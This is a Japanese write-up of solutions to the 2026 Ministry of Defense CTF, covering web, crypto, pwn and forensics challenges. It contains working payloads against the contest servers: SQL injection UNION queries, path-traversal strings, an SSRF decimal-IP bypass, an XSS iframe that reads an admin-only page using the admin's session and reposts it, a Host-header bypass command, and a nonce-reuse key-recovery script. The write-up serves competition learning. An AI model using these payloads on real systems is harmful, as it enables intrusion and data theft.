防衛省サイバーコンテスト 2026 CTF Writeup
2026年に開催された防衛省主催のCTF「防衛省サイバーコンテスト」に参加し、結果は全問正解で、チーム総合5位、(結果がまだ発表されていませんが、おそらく)学生個人1位という結果になりました。この記事ではそれらに対する私が使った解法をまとめます。
Web
会員限定の裏口 [10pts] (590 solves)
問題
SecureCorpDB は、表向きは安全に見える SQLite を使用した従業員管理システムですが、脆弱性を抱えています。悪用して隠されたフラグを取得してください。
解答形式: flag{XXXXXX} (半角英字記号)
ヒント: 脆弱性の在処
ダッシュボードの検索機能で SQL Injection を試してみてください。UNION SELECT を使ってデータベースの他のテーブルからデータを抽出できます。
典型的な SQL インジェクション (CWE-89) です。

この画面で SQL インジェクションを試しましたが、無理そうです。デモアカウントでログインしてみます。

この検索欄はインジェクションできそうです。列が7列なので、'UNION SELECT 1,name,3,4,5,6,7 FROM sqlite_master WHERE type='table' -- のようにしてテーブル名を調べます。admin_secret といういかにも怪しいテーブルがあることがわかりました。
'UNION SELECT 1,sql,3,4,5,6,7 FROM sqlite_master WHERE type='table' AND name='admin_secret' -- でテーブルの構造を確認します。

flag と secret_key が見つかりました。'UNION SELECT 0, admin_name || ':' || secret_key || ':' || flag, 0,0,0,0,0 FROM admin_secret -- で、前者と、念のために後者も確認します。

flag を取得できました。
Flag: flag{sqlinjection_unionbased_master}
余談ですが、この問題だけなぜか送信時に CAPTCHA 認証が必要でした。AI が自律的に解くことへの対策なのだろうか。。。?
越境パス [10pts] (656 solves)
問題
このファイルビューアは指定フォルダ内の txt ファイルを読み込むアプリケーションです。しかし、管理者のフラグがどこかに隠されているようです。システムを詳しく調べて、隠されたフラグを見つけてください。
接続情報:http://10.2.0.8:8080
解答形式: flag{XXXXXX} (半角英数記号)
ヒント: 方針
URL パラメータを利用した上位ディレクトリ(../)へのアクセスにおいて、二重スラッシュ(//)を使用することで、一部のフィルタリングを回避できる可能性があります。

file=../flag.txt のようにして上位ディレクトリにアクセスしようとすると弾かれます。

ディレクトリトラバーサル問題で使えそうなクエリを片っ端から試して行ったところ、..//flag.txt でアクセスできました。
しかし、旧フラグだと言われます。

readme.md にわざわざ admin/logs/access.log に関することが書かれていたので、..//admin//logs//access.log にアクセスしてみます。

Admin accessed: admin/config/secure/flag.txt というログがありました。..//admin//config//secure//flag.txt にアクセスします。

Flag: flag{dir3ct0ry_tr4v3rs4l}
../ が弾かれて、..// で回避できるのは何故なのかわからない。どういう実装をしたのだろう。
WebProxyの向こう側 [20pts] (407 solves)
問題
WebProxy Service は URL の安全性をチェックするサービスですが、内部ネットワークにアクセスできる脆弱性があります。内部管理システムを探索し、隠された機密ファイルを発見してフラグを取得してください。 なお、この問題のサーバーからチェック可能な外部サイトは、当解答用サーバー (https://c.contest2026.mod.go.jp/) に限定されています。動作確認の際はご注意ください。
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: 基本方針
内部ネットワーク(localhost:8081)へのアクセスが必要ですが、基本的なフィルタリングが実装されています。 IP アドレスには様々な表現方法があることを思い出してください。数値表現を使用することで、文字列ベースのフィルターを回避できる場合があります。
ヒント2: 内部管理システムでの方針
内部に入り込めたら、公開されている各種 API や管理用 URL を系統的に走査し、返却されるメタデータやログ情報に注目してください。設定ファイルや操作履歴に思わぬヒントが隠れていることが多く、複数のエンドポイントから得た断片を組み合わせることで、次のステップへ進む手がかりが見えてくるはずです。特に、ディレクトリやリソースの一覧取得が可能な箇所があれば、そこから取得できる情報を活用してみましょう。
サーバサイドリクエストフォージェリ (SSRF: CWE-918) の問題。
愚直に localhost:8081 を指定すると弾かれます。

[::1] とか 127.1 とか色々試した結果、2130706433 (10進数表現) でアクセスできました。

あとはこの管理システムを探索して flag を読めば OK です。ここら辺は謎解き。

Flag: flag{ssrf_1nt3rn4l_4cc355}
静寂の調べ [20pts] (178 solves)
問題
この掲示板システムでは誰でも自由に投稿でき、管理者が定期的に全ての投稿を巡回して確認していますが、フラグページにアクセスするには管理者のセッションが必要です。フラグページにアクセスしてフラグを取得してください。
接続情報:http://10.2.0.7:8086
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: 方針その1
基本的な XSS 攻撃手法は防御されていますが、完璧ではありません。どのような HTML タグやイベントハンドラーが許可されているか調べてみてください。
ヒント2: 方針その2
多くのイベントハンドラーはブロックされていますが、メディア要素に関連する特定のイベントは制限が緩い可能性があります。音声や動画ファイルの再生に関わる処理を調査してみてください。
クロスサイトスクリプティング (XSS: CWE-79) と ウェブページ属性におけるスクリプトの不適切な無害化 (CWE-83) の問題。
送信した HTML を admin bot が巡回しにくるタイプの問題です。
javascript: クエリがブロックされますが、s のようにエンティティ参照を使えば通ります。
また、<img onerror=...> のような一般的なイベントハンドラーは弾かれますが、<iframe src=...> は通ります。
よって、以下のコードを送信し、すぐに再読み込みすることで、フラグを得ることができます。
<iframe src="javascript:
fetch('/flag.php',{credentials:'include'})
.then(r=>r.text())
.then(t=>{
const m=t.match(/flag\{[^}]+\}/);
const f=m?m[0]:t;
document.cookie='PHPSESSID=自分のID; path=/';
fetch('/',{
method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'message='+encodeURIComponent(f)
});
});
"></iframe>

Flag: flag{s1l3nt_mus1c_xss}
突破された認証 [30pts] (63 solves)
問題
クライアント認証を使用した Tor の Onion ドメインを発行できるウェブサイトを開発しましたが、実装に脆弱性があります。「Admin Panel」に侵入し、フラグを奪取してください。
接続情報:qfklrfnvm56g2avog4vgbvxydixgcbfu5ajecb6om7boqb5qcjqh3mqd.onion
※上記 onion アドレスにアクセスしてください。一般的なブラウザではアクセスできませんので Tor Browser を使用することを推奨します。
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: クライアント認証について
クライアント認証の主な実施方法としては、以下の2通りが挙げられます。
- Tor Browser のポップアップインターフェース を利用し、認証情報を直接入力する方法
- Tor の設定ファイルである 「torrc」 に、認証鍵のファイルパスを事前に設定する方法
ヒント2: Encrypted Message について
「OVERFLOW AT」と「COUNTER VALUE」の16進数値の差分(diff)を求め、これを10進数に変換した後、暗号文に対してBase64デコード、ROT47 (シフト数: -1×diff)、XOR (キー: diff)の順で処理を行うと平文となり、新しい Onion ドメインが取得できます。復号には CyberChef (https://gchq.github.io/CyberChef/ )の使用が効率的です。
ヒント3: Admin Panel について
Tor のクライアント認証は正しい onion アドレスと鍵が組み合わさったときだけ接続を許可し、その後内部で通常の HTTP サービスへ橋渡しを行います。多くの HTTP サーバーは受信したリクエストの中に含まれる情報で仮想ホストを切り替えており、リクエスト側で一部属性を意図的に変えると、別のホストとして扱われることがあります。管理用ドメインらしきリクエストを装わせるだけで、通常は制限されているページへ辿り着ける可能性があるので、Tor クライアント認証が通った後に送るリクエストの「見た目」を工夫してみてください。
まず、トップページの暗号を突破する必要があります。
SVGには使用中のメモリ量と総メモリ量が16進数で表示されており、その差分を鍵として利用します。
暗号化の手順は元のテキストにXORを施し、ROT47で変換してからBase64エンコードするという流れなので、復号する際はこれを逆順に処理していきます。

ROT47の処理ではASCIIコードの33から126までの範囲で変換を行います。こうして得られた答えをPOSTすると、新しいonionアドレスとクライアント認証用の鍵が発行されます。
import base64
def rot47_reverse(text, key):
result = []
for char in text:
code = ord(char)
if 33 <= code <= 126:
shifted = code - 33
reversed_shift = (shifted - key) % 94
result.append(chr(reversed_shift + 33))
else:
result.append(char)
return ''.join(result)
def xor_bytes(data, key):
return bytes([b ^ key for b in data])
USED = 0x??
key = 0x100 - USED
cipher = "..."
decoded = base64.b64decode(cipher)
rot47_reversed = rot47_reverse(decoded.decode('latin-1'), key)
plain = xor_bytes(rot47_reversed.encode('latin-1'), key)
print(plain.decode('utf-8'))
次に、クライアント認証付きのonionサイトにアクセスします。
取得した鍵を、Torのクライアント認証ディレクトリに配置し、Torを適切な設定で起動することで、専用のSOCKSポートを通じてアクセスできるように。
最後に管理パネルの認証バイパスをします。
管理パネル自体は別のonionアドレスとして存在しており、通常はクライアント認証が必要なのですが、先ほど生成されたonionアドレスは同じサーバに到達できるため、Hostヘッダを管理パネルのonionアドレスに変更するだけでアクセスが可能になります。
curl --socks5-hostname 127.0.0.1:9051 \
-H "Host: adminat2tbkbxbaa6olibcwrzcdnkdjemocdehupt4dwdxslgoojqxad.onion" \
http://<your_onion>.onion/
Flag: flag{bypass_t0r_client_auth3nt1cati0n}
Crypto
画像の記憶 [10pts] (785 solves)
問題
この画像には秘密が隠されているようです。メタデータを詳しく調べて、隠されたフラグを見つけてください。
添付ファイル:challenge.jpg.zip (SHA1: 8172ac71478dfb58f81afcecdff42f0254cd6da3)
解答形式: flag{XXXXXX} (半角英字記号)
ヒント: 方針
exiftool で EXIF 情報を確認し、「=」で終わる文字列を Base64 デコードした後、13 文字ずらす古典暗号で復号してください。

画像系は Aperi'Solve に投げるのが定石なので投げます。

Base64 decode して ROT13 で終わり。
Flag: flag{exif_data_can_hide_secrets}
封印されし盤面の啓示 [20pts] (428 solves)
問題
画像ファイルには、封印された盤面が隠されています。
その姿を見抜き、解き明かすことで、暗号を解く手がかりを得ることができます。
盤面の結末を導き、フラグを取得してください。
添付ファイル: challenge.png.zip (SHA1: 5416cdd397e01f23c258830ede5a436d0859168d)
解答形式: flag{XXXXXX} (半角英字記号)
ヒント1: 方針
画像には通常の表示内容以外にも情報が埋め込まれている場合があります。画像ファイルのメタ情報を調べてみると、81 文字から成る特徴的な文字列が見つかるかもしれません。そこから「パズル」として扱う発想が役立つでしょう。
ヒント2: 暗号について
Exif 情報の中には「Recipe」という項目があり、暗号の手順を示唆する文章が含まれています。そこでは使用するアルゴリズム、鍵や初期化ベクトルを導くための材料(解答や Salt)が言及されています。文章を正しく読み解くことで、Sealed Board フィールドにある暗号文を復号できるはずです。

Aperi'Solve に投げると、Exif 情報に何やら怪しい文字列があります。

どうやら Number Place というプロパティに81文字の数字があります。Number Place は数独の別名です。これを解きます。ただし CTF 中にのんびり解いてるわけにはいかないので、適当にウェブで見つけた自動解答ツールを使います。

以下のような解答が得られます。

私が使った Sudoku Solver は単純な構造をしていたので、[...grid.childNodes].filter(e => e.tagName === "INPUT").map(e => e.value).join("") を使って回答をコピーできました。
875932416649571382312846597138724659754689123926315748293457861567198234481263975
Recipe の説明からして、Key がこの回答を MD5 ハッシュ化したもの、IV が回答に Salt s4l7 を付与して MD5 ハッシュ化したものだと推測しました。
- Key:
ebb04b7a666ad148ffbb03a3cbe99a3e - IV:
c176778e828ed1a5c2d9c5e180f2cbfa
Recipe に従い、Sealed Board の内容を AES-CBC (128 bit) で復号します。
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii, hashlib, codecs, textwrap, re, sys, os, json, math, statistics
key_hex = "ebb04b7a666ad148ffbb03a3cbe99a3e"
iv_hex = "c176778e828ed1a5c2d9c5e180f2cbfa"
ct_hex = "fbc12ea652e3bc2cb4eba9c6b6ad78ded1795f6c823f9d3aa318876b748ee127"
key = bytes.fromhex(key_hex)
iv = bytes.fromhex(iv_hex)
ct = bytes.fromhex(ct_hex)
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = cipher.decrypt(ct)
print(pt)
Flag: flag{encrypted_numberplace}
二重の格子 [20pts] (344 solves)
問題
古い書庫から、古典暗号を二重に用いた文書が発見されました。外側の暗号を解読すると、内側の暗号の鍵が判明します。解読してください。
EFLVK OVLJP MWQEQ NHIJR TTLIE TCHLT WCJNW SEFBT WHJVM JMSTV LRKMR KGDGH JVITR WUDMC TFEYW JZGWK ACTUE DTQHI HUKBU SHBXR YEREZ XHYCS CKYYO GBUZG OZIIL ANXKM YRNEK HU
解答形式: flag{XXXXXX} (半角英小文字)
ヒント1: 外側の暗号
外側の暗号は多表式換字暗号です。繰り返しパターンを探してください。
ヒント2: 内側の暗号
内側の暗号は19世紀にイギリスで考案され、第一次世界大戦でも使用された方式です。
外側の暗号は ヴィジュネル暗号 (Vigenère cipher) です。いろいろなパターンを試し、CRYPTO が鍵であることがわかりました。
CONGR ATULA TIONS YOUHA VESUC CESSF ULLYD ECODE DTHEO UTERE NCRYP TIONT HEKEY ISMON ARCHY UGSUT CNAGC MVBOU FDMMB EFKZC FQPNB IOKAB EVFKM PDFGS MIKTS MLGMX FDLNM SB
E NCRYP TIONT HEKEY ISMON ARCHY から、次の暗号は monarchy が鍵であることがわかります。
ARCHY より後の文字列を Playfair cipher で復号します。
WELXLDONEYOUHAVECRACKEDTHEPLAYFAIRCIPHERTHEFLAGISQUEENVICTORIA
Flag: flag{queenvictoria}
量子の足音 [30pts] (131 solves)
問題
2024 年 8 月、NIST は耐量子計算機暗号の標準として ML-DSA(FIPS 204、旧称 CRYSTALS-Dilithium) を公開しました。我が国でも CRYPTREC による技術評価を踏まえ、(Government Profile 2025 等) への採用が見込まれており、量子コンピュータ時代への備えが始まっています。
ML-DSA 署名サーバーを発見しました。どうやらこのサーバーの ML-DSA 実装には、独自の簡略化が施されているようです。秘密鍵 s1 を復元し、フラグを取得してください。
接続情報: nc 10.2.4.12 10005
解答形式: flag{XXXXXX} (半角英数字および _)
ヒント1: 方針
ML-DSA の署名式を確認してください。z = y + c・s1という関係式があります。複数の署名を集めたとき、何か気づくことはありませんか?
ヒント2: 実装の脆弱性
同じ nonce y が複数回使用されていませんか?nonce が再利用されると何が起こるか考えてください。
ヒント3: 秘密鍵の復元
同じ nonce y を使った2つの署名 (z1, c1) と (z2, c2) がある場合、z1 - z2 = (c1 - c2)・s1 となります。多項式環での逆元を計算すれば s1 を復元できます。
通常の ML-DSA では毎回異なる乱数ベクトル
署名式は簡略化されているため、以下が成り立知ます。
異なるメッセージで2回署名を取ると、
差を取ると、
よって:
Solver
from pwn import remote
import re
import ast
import json
HOST = "10.2.4.12"
PORT = 10005
q = 8380417
N = 256
def sign(msg: bytes):
r = remote(HOST, PORT)
r.recvuntil(b"> ")
r.sendline(b"2")
r.recvuntil(b"Enter message:")
r.sendline(msg)
data = r.recvuntil(b"> ")
r.close()
m_z = re.search(rb"z = (\[\[.*?\]\])\s*c =", data, re.S)
m_c = re.search(rb"c = (\[.*?\])", data, re.S)
if not m_z or not m_c:
raise ValueError("parse fail")
z = ast.literal_eval(m_z.group(1).decode())
c = ast.literal_eval(m_c.group(1).decode())
return z, c
def modq(x):
return x % q
def poly_trim(a):
i = len(a) - 1
while i >= 0 and a[i] == 0:
i -= 1
return a[: i + 1]
def poly_add(a, b):
n = max(len(a), len(b))
return poly_trim(
[modq((a[i] if i < len(a) else 0) + (b[i] if i < len(b) else 0)) for i in range(n)]
)
def poly_sub(a, b):
n = max(len(a), len(b))
return poly_trim(
[modq((a[i] if i < len(a) else 0) - (b[i] if i < len(b) else 0)) for i in range(n)]
)
def poly_mul_plain(a, b):
if not a or not b:
return []
res = [0] * (len(a) + len(b) - 1)
for i, ai in enumerate(a):
if ai == 0:
continue
for j, bj in enumerate(b):
if bj == 0:
continue
res[i + j] = modq(res[i + j] + ai * bj)
return poly_trim(res)
def poly_divmod(a, b):
a = a[:]
b = poly_trim(b)
if not b:
raise ZeroDivisionError
deg_b = len(b) - 1
inv_lead = pow(b[-1], q - 2, q)
qpoly = [0] * max(0, len(a) - deg_b)
while len(a) - 1 >= deg_b and a:
deg_a = len(a) - 1
lead = a[-1]
if lead == 0:
a = poly_trim(a)
continue
coeff = modq(lead * inv_lead)
shift = deg_a - deg_b
qpoly[shift] = coeff
for i in range(deg_b + 1):
a[shift + i] = modq(a[shift + i] - coeff * b[i])
a = poly_trim(a)
return poly_trim(qpoly), a
def poly_inv_mod(c, f):
r0, r1 = poly_trim(f), poly_trim(c)
s0, s1 = [1], []
t0, t1 = [], [1]
while r1:
qpoly, r = poly_divmod(r0, r1)
r0, r1 = r1, r
s0, s1 = s1, poly_sub(s0, poly_mul_plain(qpoly, s1))
t0, t1 = t1, poly_sub(t0, poly_mul_plain(qpoly, t1))
if len(r0) != 1:
raise ValueError("not invertible")
inv_const = pow(r0[0], q - 2, q)
inv = poly_mul_plain(t0, [inv_const])
_, inv = poly_divmod(inv, f)
inv += [0] * (len(f) - 1 - len(inv))
return inv
def poly_mul_ring(a, b):
res = [0] * N
for i, ai in enumerate(a):
if ai == 0:
continue
for j, bj in enumerate(b):
if bj == 0:
continue
k = i + j
if k >= N:
res[k - N] = modq(res[k - N] - ai * bj)
else:
res[k] = modq(res[k] + ai * bj)
return res
def poly_sub_ring(a, b):
return [modq(a[i] - b[i]) for i in range(N)]
def center(v):
return v - q if v > q // 2 else v
def main():
while True:
z1, c1 = sign(b"hello")
z2, c2 = sign(b"world")
c_diff = [modq(c1[i] - c2[i]) for i in range(N)]
f = [0] * (N + 1)
f[0] = 1
f[-1] = 1
try:
inv_c = poly_inv_mod(c_diff, f)
break
except ValueError:
continue
s1 = []
for vec in range(len(z1)):
zdiff = poly_sub_ring(z1[vec], z2[vec])
s = poly_mul_ring(zdiff, inv_c)
s1.append(s)
payload = json.dumps([[center(v) for v in poly] for poly in s1])
r = remote(HOST, PORT)
r.recvuntil(b"> ")
r.sendline(b"4")
r.recvuntil(b"Enter s1")
r.sendline(payload.encode())
r.interactive()
if __name__ == "__main__":
main()
Flag: flag{w34k_n0nc3_r3us3}
Pwn
いつか書きます。
古き良き時代の響き [10pts] (452 solves)
問題
このバイナリプログラムには、安全でない関数が使用されており、メモリ領域の上書きができる可能性があります。特定の変数に魔法の値「0xdeadbeef」を配置することで、フラグを取得できます。バイナリを解析し、適切なペイロードを作成してフラグを取得してください。配布されたバイナリファイルは、サーバーで実際に動作しているものと同一です。プログラムは C 言語で書かれています。
添付ファイル: pwnhorn.zip (SHA1: af0fccfaa7cc781409985f88eed7d567ccfff267)
接続情報: nc 10.2.0.5 9999
解答形式: flag{XXXXXX} (半角英数記号)
ヒント: 方針
gets() 関数は入力サイズをチェックしません。バッファを超える長い文字列を入力すると、隣接するメモリ領域の変数を上書きできます。プログラムが期待している魔法の値(0xdeadbeef)を正しい場所に配置することが攻略の鍵です。
崩れゆく防御 [20pts] (234 solves)
問題
高度なセキュリティシステムで保護された仮想金庫にアクセスするプログラムです。バッファオーバーフローの脆弱性を利用して、セキュリティプロトコルを突破し、仮想金庫を解錠してください。配布されたバイナリファイルは、サーバーで実際に動作しているものと同一です。プログラムは C 言語で書かれています。
添付ファイル: vault.zip (SHA1: d372346a24545ccbd85baab9bc6420d2defa2353)
接続情報: nc 10.2.0.5 10001
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: 基本方針
プログラムには特定の値を検証するセキュリティメカニズムが実装されています。異常に長い入力を送信すると「SECURITY BREACH DETECTED」というメッセージが表示されますが、これは検証値が破損したことを意味します。バイナリを解析して正しい検証値を特定し、適切な位置に配置することで、この検証をバイパスできます。
ヒント2: 開錠コードについて
バイナリ内には通常のアクセス経路では呼び出されない関数が存在します。objdump で関数一覧を確認すると、金庫を解錠する機能を持つと思われる関数が見つかります。プログラムの実行フローを変更し、この隠された機能に制御を移すことで、フラグを取得できます。
深層の証言 [20pts] (209 solves)
問題
メモリ内に隠された秘密の値を探索するプログラムです。ユーザーの入力がそのまま出力される挙動を観察し、適切な入力を送信することで、スタック上に保存された秘密の値を特定してください。配布されたバイナリファイルは、サーバーで実際に動作しているものと同一です。プログラムは C 言語で書かれています。
添付ファイル:format.zip (SHA1: 33d76e2dda4ab9195d7cbae08a27270ba00a2314)
接続情報: nc 10.2.0.5 10000
解答形式: flag{XXXXXX} (半角英数記号)
ヒント: 方針
プログラムは入力をそのまま出力します。特殊な記号を含む入力を送信すると、通常では見えない情報が表示されることがあります。フォーマット指定子には、スタック上の特定の位置を直接参照する方法が存在します。秘密の値はプロセスごとに変化するため、値の取得と検証は同一プロセス内で行う必要があります。
記憶の侵食 [20pts] (157 solves)
問題
動的にメモリを管理し、オブジェクトの割り当て・解放・操作を行うシンプルなサービスがあります。しかし、その実装には危険な脆弱性が潜んでいます。メモリレイアウトを理解し、適切な攻撃手法を組み合わせることで、システムの制御を奪取してください。配布されたバイナリファイルは、サーバーで実際に動作しているものと同一です。プログラムは C 言語で書かれています。
添付ファイル: heap.zip (SHA1: ee2b054988d7155b448531efe21f2452220a6c14)
接続情報: nc 10.2.0.5 10004
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: 基本方針
プログラムには、オブジェクトの詳細情報を表示する機能があります。表示される情報の中には、メモリアドレスなど、攻撃に有用な手がかりが含まれている可能性があります。バイナリは PIE 保護が有効になっているため、取得した情報をどのように活用できるか考えてみてください。
ヒント2: 制御の奪取のために
書き込み機能には、入力サイズのチェックに問題があるかもしれません。割り当てられた領域を超えてデータを書き込むことで、隣接するメモリ領域に影響を与えられる可能性があります。メモリレイアウトを理解し、どのような情報を上書きすれば制御を奪取できるか考えてみてください。
木霊の防壁 [30pts] (105 solves)
問題
メッセージを保存・表示・エコーバックする単純なサービスです。しかし、その実装には複数の脆弱性が潜んでいます。入力がどのように処理されるかを注意深く観察し、適切な攻撃手法を組み合わせることで、システムの制御を奪取してください。配布されたバイナリファイルは、サーバーで実際に動作しているものと同一です。プログラムは C 言語で書かれています。
添付ファイル:echo.zip (SHA1: ebb61496f4d2ad1c0beaf88a0d46ae37bff2dc21)
接続情報: nc 10.2.0.5 10003
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: 基本方針
プログラムには複数の機能があり、それぞれ異なる挙動を示します。各機能で入力がどのように処理されるかを注意深く観察してください。特殊な入力を送信することで、通常では見えないメモリ情報が取得できる可能性があります。プログラムは複数の保護機構で守られているため、複数の脆弱性を段階的に組み合わせることが重要です。取得した情報は同じプロセス内で利用する必要があります。
ヒント2: バイナリファイル・制御奪取後について
配布されたバイナリはstatic-pieでコンパイルされており、必要な関数や文字列がすべて含まれています。バイナリ解析ツールを使用することで、オフセット計算を効率化できます。プログラムの制御を奪取した後は、カレントディレクトリを探索してみてください。
Forensics
埋もれし痕跡 [10pts] (486 solves)
問題
産業用ゲートウェイデバイスのファームウェアイメージを入手しました。このイメージの中には重要な情報が含まれているようです。フラグを見つけてください。
添付ファイル: firmware.bin (SHA1: adfc0d8191653008a803bb6f93326288d71d42bf)
解答形式: flag{XXXXXX} (半角英数記号)
ヒント: 方針
ファイルの種類を確認してください。展開後、バイナリファイルも確認してみてください。
$ file firmware.bin
firmware.bin: Squashfs filesystem, little endian, version 4.0, zlib compressed, 7780 bytes, 75 inodes, blocksize: 131072 bytes, created: Tue Nov 25 01:17:29 2025
SquashFS イメージであることがわかるので、7z x firmware.bin で展開します。
rg -a -i "flag\{" -n extracted でフラグを探すも見つからず。
extracted/lib にまた SquashFS イメージがあるので、同様に展開します。
rg -a -i "flag\{" -n extracted_wifi でフラグを発見。
Flag: flag{squ4sh3d_f1rmw4r3_r3c0v3ry}
脅威の報告 [10pts] (556 solves)
問題
組織内で発見されたPDFファイルには、重要な情報が隠されているようです。このファイルを詳しく調査し、隠されたフラグを見つけてください。
添付ファイル: document.pdf (SHA1: c95e8b3dc99a7e5c0c8067039cbd0c22c5c101e0)
解答形式: flag{XXXXXX} (半角英数記号)
ヒント: 方針
PDF ファイルは単なる文書ではありません。pdfid や pdf-parser などのツールを使って、PDF の内部構造を詳しく調査してみましょう。
pdfextract を使って展開します。
$ pdfextract document.pdf
Extracted 5 PDF streams to 'document.dump/streams'.
Extracted 1 scripts to 'document.dump/scripts'.
Extracted 0 attachments to 'document.dump/attachments'.
Extracted 2 fonts to 'document.dump/fonts'.
Extracted 0 images to 'document.dump/images'.
$ tree
.
├── attachments
├── fonts
│ ├── AAAAAA+NotoSansJP-Thin
│ └── AAAAAB+NotoSansJP-Thin
├── images
├── scripts
│ └── script_4309403724594895041.js
└── streams
├── stream_10.dmp
├── stream_11.dmp
├── stream_14.dmp
├── stream_15.dmp
└── stream_5.dmp
6 directories, 8 files
scripts/script_4309403724594895041.js に怪しいコードがあります。
var d1 = [102,108,97,103,123,104,49,100];
var d2 = [113,64,123,108,119,65,131,65];
var d3 = [49,95,116,112,49,114,99,53];
var d4 = [103,88,105,93,95,118];
function decode1() {
return String.fromCharCode.apply(null, d1);
}
function decode2() {
var shifted = d2.map(function(x) { return x - 13; });
return String.fromCharCode.apply(null, shifted);
}
function decode3() {
var str = String.fromCharCode.apply(null, d3);
return str.split('').reverse().join('');
}
function decode4() {
var shifted = d4.map(function(x) { return x + 7; });
return String.fromCharCode.apply(null, shifted);
}
function getSecret() {
return decode1() + decode2() + decode3() + decode4();
}
getSecret() を実行するとフラグが得られます。
Flag: flag{h1dd3n_j4v45cr1pt_1n_pdf}
刻まれし証 [20pts] (280 solves)
問題
配布された SQLite3 データベースファイルを調査し、フラグを取得してください。
添付ファイル: secret.zip (SHA1: 3ef259d900f3abac44fc321750b764775362a03a)
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: 方針
SQLite3 のデータベースファイルは削除後もデータが残っていることがあります。バイナリファイルとして直接読み込むことで、削除されたデータの痕跡を探すことができます。
ヒント2: レコードについて
削除されたメッセージにはエンコードされたデータが含まれています。複数の候補が見つかりますが、メッセージのコンテキスト(VERIFICATIONやSECURITY CLEARANCEなどのキーワード)を確認することで、正しい情報を判断できます。
strings secret.db をすると、大量の Base64 文字列やら User-Agent が出てきます。
strings secret.db | grep flag しても出てこないので、Flag は base64 エンコードされていると推測し、flag{ を Base64 エンコードした先端部分である ZmxhZ を検索すると、
$ strings secret.db | grep "ZmxhZ"
ENCODED MISSION CODE (Base64): ZmxhZ3tkM2wzdDNkX3MzY3IzdF9tM3NzNGczfQ==
ENCODED MISSION CODE (Base64): ZmxhZ3tkM2wzdDNkX3MzY3IzdF9tM3NzNGczfQ==
Flag: flag{d3l3t3d_s3cr3t_m3ss4g3}
囚われの記録 [20pts] (283 solves)
問題
組織内のサーバーがランサムウェアに感染する事件が発生しました。インシデント対応チームが感染したシステムのディスクイメージを採取しています。このディスクイメージを解析し、ランサムウェアの動作を調査して暗号化されたフラグを復号してください。
添付ファイル: infected_disk.zip (SHA1: dc074240badb80de04061ebb50152ac87debc2be)
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: バイナリファイルの解析について
バイナリファイル内に重要な文字列が平文で格納されています。Ghidra などのリバースエンジニアリングツールで関数名を確認してみてください。
ヒント2: 暗号化について
暗号化関数の名前から暗号化方式が推測できます。その方式では、暗号化と復号に同じ操作を使用します。
infected_disk.img を開くと、/home/user/.local/bin/ransomware が見つかります。Ghidra で開くと xor_encrypt 関数があり、XOR 暗号化であることがわかります。
encrypt_file 関数を見つけると、ENCRYPTION_KEY が平文で埋め込まれており、D3f3ns3_CTF_K3y_2026 であることがわかります。
flag.txt.encrypted をこのキーで XOR 復号化するとフラグが得られます。
Flag: flag{r4ns0mw4r3_4n4lys1s_c0mpl3t3d}
断片の記憶 [30pts] (193 solves)
問題
配布されたバイナリファイルを実行すると、診断メッセージが表示されます。このファイルを解析し、フラグを取得してください。 プログラムは C 言語で書かれています。
添付ファイル: challenge_binary.zip (SHA1: 5423271594f79000be9f80eb746f34b23ac217c5)
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: 方針
実行形式としては不自然に大きいファイルです。何か埋め込まれていないか binwalk で解析してみてください。
ヒント2: ファイルの解析について 1
削除されたファイルを復旧するには、Photorec 等のファイルカービングツールが有効です。また、残っているファイルも確認してください。
ヒント3: ファイルの解析について 2
画像ファイルには LSB(最下位ビット)ステガノグラフィが使用されている可能性があります。zsteg 等のツールを試してください。
binwalk で解析すると、ext4 ファイルシステムが埋め込まれていることがわかります。
どうやら PNG 画像が複数埋め込まれているようなので、ファイルカービングで抽出します。
from pathlib import Path
import struct
b = Path('embedded_ext.img').read_bytes()
header = b'\x89PNG\r\n\x1a\n'
idxs = []
start = 0
while True:
i = b.find(header, start)
if i == -1: break
idxs.append(i)
start = i + 1
for n, offset in enumerate(idxs, 1):
pos = offset + 8
while True:
length = struct.unpack('>I', b[pos:pos+4])[0]
ctype = b[pos+4:pos+8]
pos += 8 + length + 4
if ctype == b'IEND':
end = pos
break
Path(f'carved_image_{n}.png').write_bytes(b[offset:end])
carved_image_1.png を Aperi'Solve に投げると、Zsteg の解析結果に Flag が含まれていました。
Flag: flag{fr4gm3nt3d_m3m0ry_r3c0v3r3d}
Programming
いつか書きます
三角の綻び [10pts] (566 solves)
問題
三角形パターンを生成する C コードがあります。プログラムを実行すると視覚的にパターンが崩れて表示されます。添付画像は正しく生成された場合の最初の 16 行です。プログラムを修正し、正しいパターンを生成して出力値を flag{数値} の形式で答えてください。
添付ファイル: triangle_pattern.zip (SHA1: b1c0f31dda21dfc7d23b2234151e0667c2c30f3b)
解答形式: flag{数値} (半角数字、0埋めなし)
ヒント: 三角形パターンについて
このパターンは、パスカルの三角形の各要素を 2 で割った余りで表現されます。また、配列は 0 から始まるため、 n 行目には n+1 個の要素が存在します。
還ろう文字列 [20pts] (321 solves)
問題
暗号化されたメッセージが与えられました。ヒントを参考に復号プログラムを作成して、フラグを取得してください。
添付ファイル: files.zip (SHA1: 3066cf239d68002a9eeb807841b1bfee86e0a6ca)
解答形式: flag{XXXXXX} (半角英数記号)
ヒント1: シフト暗号について
データファイルには2つのシフトパターン(STAGE1 とSTAGE2)が記載されています。シフト暗号では各文字の位置に応じて異なるシフト量を適用します。復号プログラムを実装する際は、両方のパターンを使用する必要があります。
ヒント2: 暗号化処理の全体について
暗号文が } で始まっている点に注目してください。通常のフラグは flag{ で始まることから、暗号化の過程で文字列の順序が変更されている可能性があります。復号処理は暗号化とは逆操作にて実行する必要があるため、外側から順に処理を解除していくアプローチを検討してください。 STAGE2 の復号、逆順処理、 STAGE1 の復号という段階的な処理が必要になるかもしれません。
認証問合 [20pts] (318 solves)
問題
あるデータクエリサービスのサーバープログラムが動作しています。このサービスには独自のプロトコルが実装されており、正しいプロトコルに従ってリクエストを送信することでフラグを取得できます。
接続情報: nc 10.2.4.9 9999
